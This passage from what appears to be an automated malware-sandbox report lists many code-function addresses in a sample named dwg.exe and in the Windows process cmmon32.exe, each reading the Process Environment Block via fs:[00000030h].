Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109240 mov eax, dword ptr fs:[00000030h]		4_2_1E109240
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109240 mov eax, dword ptr fs:[00000030h]		4_2_1E109240
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109240 mov eax, dword ptr fs:[00000030h]		4_2_1E109240
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109240 mov eax, dword ptr fs:[00000030h]		4_2_1E109240
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14927A mov eax, dword ptr fs:[00000030h]		4_2_1E14927A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1BB260 mov eax, dword ptr fs:[00000030h]		4_2_1E1BB260
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1BB260 mov eax, dword ptr fs:[00000030h]		4_2_1E1BB260
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8A62 mov eax, dword ptr fs:[00000030h]		4_2_1E1D8A62
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13D294 mov eax, dword ptr fs:[00000030h]		4_2_1E13D294
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13D294 mov eax, dword ptr fs:[00000030h]		4_2_1E13D294
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11AAB0 mov eax, dword ptr fs:[00000030h]		4_2_1E11AAB0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11AAB0 mov eax, dword ptr fs:[00000030h]		4_2_1E11AAB0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13FAB0 mov eax, dword ptr fs:[00000030h]		4_2_1E13FAB0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1052A5 mov eax, dword ptr fs:[00000030h]		4_2_1E1052A5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1052A5 mov eax, dword ptr fs:[00000030h]		4_2_1E1052A5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1052A5 mov eax, dword ptr fs:[00000030h]		4_2_1E1052A5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1052A5 mov eax, dword ptr fs:[00000030h]		4_2_1E1052A5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1052A5 mov eax, dword ptr fs:[00000030h]		4_2_1E1052A5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132ACB mov eax, dword ptr fs:[00000030h]		4_2_1E132ACB
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132AE4 mov eax, dword ptr fs:[00000030h]		4_2_1E132AE4
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C131B mov eax, dword ptr fs:[00000030h]		4_2_1E1C131B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8B58 mov eax, dword ptr fs:[00000030h]		4_2_1E1D8B58
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10F358 mov eax, dword ptr fs:[00000030h]		4_2_1E10F358
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10DB40 mov eax, dword ptr fs:[00000030h]		4_2_1E10DB40
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E133B7A mov eax, dword ptr fs:[00000030h]		4_2_1E133B7A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E133B7A mov eax, dword ptr fs:[00000030h]		4_2_1E133B7A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10DB60 mov ecx, dword ptr fs:[00000030h]		4_2_1E10DB60
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13B390 mov eax, dword ptr fs:[00000030h]		4_2_1E13B390
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132397 mov eax, dword ptr fs:[00000030h]		4_2_1E132397
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C138A mov eax, dword ptr fs:[00000030h]		4_2_1E1C138A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1BD380 mov ecx, dword ptr fs:[00000030h]		4_2_1E1BD380
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E111B8F mov eax, dword ptr fs:[00000030h]		4_2_1E111B8F
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E111B8F mov eax, dword ptr fs:[00000030h]		4_2_1E111B8F
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D5BA5 mov eax, dword ptr fs:[00000030h]		4_2_1E1D5BA5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134BAD mov eax, dword ptr fs:[00000030h]		4_2_1E134BAD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134BAD mov eax, dword ptr fs:[00000030h]		4_2_1E134BAD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134BAD mov eax, dword ptr fs:[00000030h]		4_2_1E134BAD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1853CA mov eax, dword ptr fs:[00000030h]		4_2_1E1853CA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1853CA mov eax, dword ptr fs:[00000030h]		4_2_1E1853CA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1303E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1303E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12DBE9 mov eax, dword ptr fs:[00000030h]		4_2_1E12DBE9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D4015 mov eax, dword ptr fs:[00000030h]		4_2_1E1D4015
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D4015 mov eax, dword ptr fs:[00000030h]		4_2_1E1D4015
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187016 mov eax, dword ptr fs:[00000030h]		4_2_1E187016
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187016 mov eax, dword ptr fs:[00000030h]		4_2_1E187016
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187016 mov eax, dword ptr fs:[00000030h]		4_2_1E187016
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11B02A mov eax, dword ptr fs:[00000030h]		4_2_1E11B02A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11B02A mov eax, dword ptr fs:[00000030h]		4_2_1E11B02A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11B02A mov eax, dword ptr fs:[00000030h]		4_2_1E11B02A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11B02A mov eax, dword ptr fs:[00000030h]		4_2_1E11B02A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13002D mov eax, dword ptr fs:[00000030h]		4_2_1E13002D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13002D mov eax, dword ptr fs:[00000030h]		4_2_1E13002D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13002D mov eax, dword ptr fs:[00000030h]		4_2_1E13002D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13002D mov eax, dword ptr fs:[00000030h]		4_2_1E13002D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13002D mov eax, dword ptr fs:[00000030h]		4_2_1E13002D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E120050 mov eax, dword ptr fs:[00000030h]		4_2_1E120050
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E120050 mov eax, dword ptr fs:[00000030h]		4_2_1E120050
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D1074 mov eax, dword ptr fs:[00000030h]		4_2_1E1D1074
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C2073 mov eax, dword ptr fs:[00000030h]		4_2_1E1C2073
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109080 mov eax, dword ptr fs:[00000030h]		4_2_1E109080
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E183884 mov eax, dword ptr fs:[00000030h]		4_2_1E183884
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E183884 mov eax, dword ptr fs:[00000030h]		4_2_1E183884
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13F0BF mov ecx, dword ptr fs:[00000030h]		4_2_1E13F0BF
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13F0BF mov eax, dword ptr fs:[00000030h]		4_2_1E13F0BF
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13F0BF mov eax, dword ptr fs:[00000030h]		4_2_1E13F0BF
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1320A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1320A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1490AF mov eax, dword ptr fs:[00000030h]		4_2_1E1490AF
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov eax, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov ecx, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov eax, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov eax, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov eax, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19B8D0 mov eax, dword ptr fs:[00000030h]		4_2_1E19B8D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1058EC mov eax, dword ptr fs:[00000030h]		4_2_1E1058EC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109100 mov eax, dword ptr fs:[00000030h]		4_2_1E109100
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109100 mov eax, dword ptr fs:[00000030h]		4_2_1E109100
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E109100 mov eax, dword ptr fs:[00000030h]		4_2_1E109100
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13513A mov eax, dword ptr fs:[00000030h]		4_2_1E13513A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13513A mov eax, dword ptr fs:[00000030h]		4_2_1E13513A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120 mov eax, dword ptr fs:[00000030h]		4_2_1E124120
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120 mov eax, dword ptr fs:[00000030h]		4_2_1E124120
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120 mov eax, dword ptr fs:[00000030h]		4_2_1E124120
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120 mov eax, dword ptr fs:[00000030h]		4_2_1E124120
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E124120 mov ecx, dword ptr fs:[00000030h]		4_2_1E124120
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12B944 mov eax, dword ptr fs:[00000030h]		4_2_1E12B944
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12B944 mov eax, dword ptr fs:[00000030h]		4_2_1E12B944
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10B171 mov eax, dword ptr fs:[00000030h]		4_2_1E10B171
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10B171 mov eax, dword ptr fs:[00000030h]		4_2_1E10B171
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10C962 mov eax, dword ptr fs:[00000030h]		4_2_1E10C962
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132990 mov eax, dword ptr fs:[00000030h]		4_2_1E132990
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12C182 mov eax, dword ptr fs:[00000030h]		4_2_1E12C182
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A185 mov eax, dword ptr fs:[00000030h]		4_2_1E13A185
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1851BE mov eax, dword ptr fs:[00000030h]		4_2_1E1851BE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1851BE mov eax, dword ptr fs:[00000030h]		4_2_1E1851BE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1851BE mov eax, dword ptr fs:[00000030h]		4_2_1E1851BE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1851BE mov eax, dword ptr fs:[00000030h]		4_2_1E1851BE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1361A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1361A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1361A0 mov eax, dword ptr fs:[00000030h]		4_2_1E1361A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1869A6 mov eax, dword ptr fs:[00000030h]		4_2_1E1869A6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1941E8 mov eax, dword ptr fs:[00000030h]		4_2_1E1941E8
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10B1E1 mov eax, dword ptr fs:[00000030h]		4_2_1E10B1E1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10B1E1 mov eax, dword ptr fs:[00000030h]		4_2_1E10B1E1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10B1E1 mov eax, dword ptr fs:[00000030h]		4_2_1E10B1E1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056583D mov eax, dword ptr fs:[00000030h]		4_2_0056583D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00562CBF mov eax, dword ptr fs:[00000030h]		4_2_00562CBF
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005649AA mov eax, dword ptr fs:[00000030h]		4_2_005649AA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00564A27 mov eax, dword ptr fs:[00000030h]		4_2_00564A27
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00564EF1 mov eax, dword ptr fs:[00000030h]		4_2_00564EF1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FA44B mov eax, dword ptr fs:[00000030h]		10_2_044FA44B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455C450 mov eax, dword ptr fs:[00000030h]		10_2_0455C450
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0455C450 mov eax, dword ptr fs:[00000030h]		10_2_0455C450
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E746D mov eax, dword ptr fs:[00000030h]		10_2_044E746D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459740D mov eax, dword ptr fs:[00000030h]		10_2_0459740D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459740D mov eax, dword ptr fs:[00000030h]		10_2_0459740D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0459740D mov eax, dword ptr fs:[00000030h]		10_2_0459740D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04581C06 mov eax, dword ptr fs:[00000030h]		10_2_04581C06
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546C0A mov eax, dword ptr fs:[00000030h]		10_2_04546C0A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546C0A mov eax, dword ptr fs:[00000030h]		10_2_04546C0A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546C0A mov eax, dword ptr fs:[00000030h]		10_2_04546C0A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546C0A mov eax, dword ptr fs:[00000030h]		10_2_04546C0A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FBC2C mov eax, dword ptr fs:[00000030h]		10_2_044FBC2C
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04598CD6 mov eax, dword ptr fs:[00000030h]		10_2_04598CD6
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045814FB mov eax, dword ptr fs:[00000030h]		10_2_045814FB
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546CF0 mov eax, dword ptr fs:[00000030h]		10_2_04546CF0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546CF0 mov eax, dword ptr fs:[00000030h]		10_2_04546CF0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546CF0 mov eax, dword ptr fs:[00000030h]		10_2_04546CF0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D849B mov eax, dword ptr fs:[00000030h]		10_2_044D849B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04503D43 mov eax, dword ptr fs:[00000030h]		10_2_04503D43
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04543540 mov eax, dword ptr fs:[00000030h]		10_2_04543540
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044E7D50 mov eax, dword ptr fs:[00000030h]		10_2_044E7D50
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EC577 mov eax, dword ptr fs:[00000030h]		10_2_044EC577
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EC577 mov eax, dword ptr fs:[00000030h]		10_2_044EC577
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458E539 mov eax, dword ptr fs:[00000030h]		10_2_0458E539
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0454A537 mov eax, dword ptr fs:[00000030h]		10_2_0454A537
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04598D34 mov eax, dword ptr fs:[00000030h]		10_2_04598D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F4D3B mov eax, dword ptr fs:[00000030h]		10_2_044F4D3B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F4D3B mov eax, dword ptr fs:[00000030h]		10_2_044F4D3B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F4D3B mov eax, dword ptr fs:[00000030h]		10_2_044F4D3B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D3D34 mov eax, dword ptr fs:[00000030h]		10_2_044D3D34
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044CAD30 mov eax, dword ptr fs:[00000030h]		10_2_044CAD30
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov eax, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov eax, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov eax, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov ecx, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov eax, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04546DC9 mov eax, dword ptr fs:[00000030h]		10_2_04546DC9
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04578DF1 mov eax, dword ptr fs:[00000030h]		10_2_04578DF1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DD5E0 mov eax, dword ptr fs:[00000030h]		10_2_044DD5E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044DD5E0 mov eax, dword ptr fs:[00000030h]		10_2_044DD5E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458FDE2 mov eax, dword ptr fs:[00000030h]		10_2_0458FDE2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458FDE2 mov eax, dword ptr fs:[00000030h]		10_2_0458FDE2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458FDE2 mov eax, dword ptr fs:[00000030h]		10_2_0458FDE2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458FDE2 mov eax, dword ptr fs:[00000030h]		10_2_0458FDE2
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C2D8A mov eax, dword ptr fs:[00000030h]		10_2_044C2D8A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C2D8A mov eax, dword ptr fs:[00000030h]		10_2_044C2D8A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C2D8A mov eax, dword ptr fs:[00000030h]		10_2_044C2D8A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C2D8A mov eax, dword ptr fs:[00000030h]		10_2_044C2D8A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044C2D8A mov eax, dword ptr fs:[00000030h]		10_2_044C2D8A
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2581 mov eax, dword ptr fs:[00000030h]		10_2_044F2581
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2581 mov eax, dword ptr fs:[00000030h]		10_2_044F2581
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2581 mov eax, dword ptr fs:[00000030h]		10_2_044F2581
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F2581 mov eax, dword ptr fs:[00000030h]		10_2_044F2581
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FFD9B mov eax, dword ptr fs:[00000030h]		10_2_044FFD9B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044FFD9B mov eax, dword ptr fs:[00000030h]		10_2_044FFD9B
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F35A1 mov eax, dword ptr fs:[00000030h]		10_2_044F35A1
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045905AC mov eax, dword ptr fs:[00000030h]		10_2_045905AC
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045905AC mov eax, dword ptr fs:[00000030h]		10_2_045905AC
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F1DB5 mov eax, dword ptr fs:[00000030h]		10_2_044F1DB5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F1DB5 mov eax, dword ptr fs:[00000030h]		10_2_044F1DB5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044F1DB5 mov eax, dword ptr fs:[00000030h]		10_2_044F1DB5
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D7E41 mov eax, dword ptr fs:[00000030h]		10_2_044D7E41
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458AE44 mov eax, dword ptr fs:[00000030h]		10_2_0458AE44
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_0458AE44 mov eax, dword ptr fs:[00000030h]		10_2_0458AE44
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044D766D mov eax, dword ptr fs:[00000030h]		10_2_044D766D
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_044EAE73 mov eax, dword ptr fs:[00000030h]		10_2_044EAE73
